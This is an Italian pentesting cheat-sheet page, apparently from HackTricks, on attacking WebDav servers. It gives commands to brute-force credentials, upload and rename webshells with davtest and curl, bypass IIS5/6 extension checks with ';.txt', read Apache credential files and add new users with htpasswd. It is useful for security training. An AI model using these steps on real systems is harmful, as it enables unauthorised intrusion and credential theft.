# WebDav {{#include ../../banners/hacktricks-training.md}} Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso **il caricamento e l'esecuzione di un webshell**. L'accesso al server WebDav richiede tipicamente **credenziali valide**, con [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle. Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti: - **Caricare** file con **estensioni eseguibili** direttamente se non sono vietati. - **Rinominare** file non eseguibili caricati (come .txt) in un'estensione eseguibile. - **Copiare** file non eseguibili caricati, cambiando la loro estensione in una che sia eseguibile. ## DavTest **Davtest** prova a **caricare diversi file con estensioni diverse** e **controlla** se l'estensione viene **eseguita**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Questo non significa che le **estensioni .txt** e **.html** vengano eseguite. Significa che puoi **accedere a questi file** tramite il web. ## Cadaver Puoi usare questo strumento per **connetterti al server WebDav** e eseguire azioni (come **caricare**, **spostare** o **eliminare**) **manualmente**. ``` cadaver ``` ## Richiesta PUT ``` curl -T 'shell.txt' 'http://$ip' ``` ## Richiesta MOVE ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability Questa vulnerabilità è molto interessante. Il **WebDav** **non consente** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **bypassare** questo **aggiungendo** alla fine del nome **";.txt"** e il file sarà **eseguito** come se fosse un file .asp (puoi anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**). Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo in un file ".asp;.txt"**. Accedendo a quel file tramite il server web, esso sarà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma ha funzionato). ![](<../../images/image (1092).png>) ## Post credentials Se il Webdav stava usando un server Apache dovresti controllare i siti configurati in Apache. Comunemente:\ \_**/etc/apache2/sites-enabled/000-default**_ All'interno potresti trovare qualcosa come: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Come puoi vedere, ci sono i file con le **credenziali** valide per il server **webdav**: ``` /etc/apache2/users.password ``` All'interno di questo tipo di file troverai il **username** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti. Puoi provare a **crackare** queste credenziali, o a **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Per verificare se le nuove credenziali funzionano, puoi fare: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Riferimenti - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}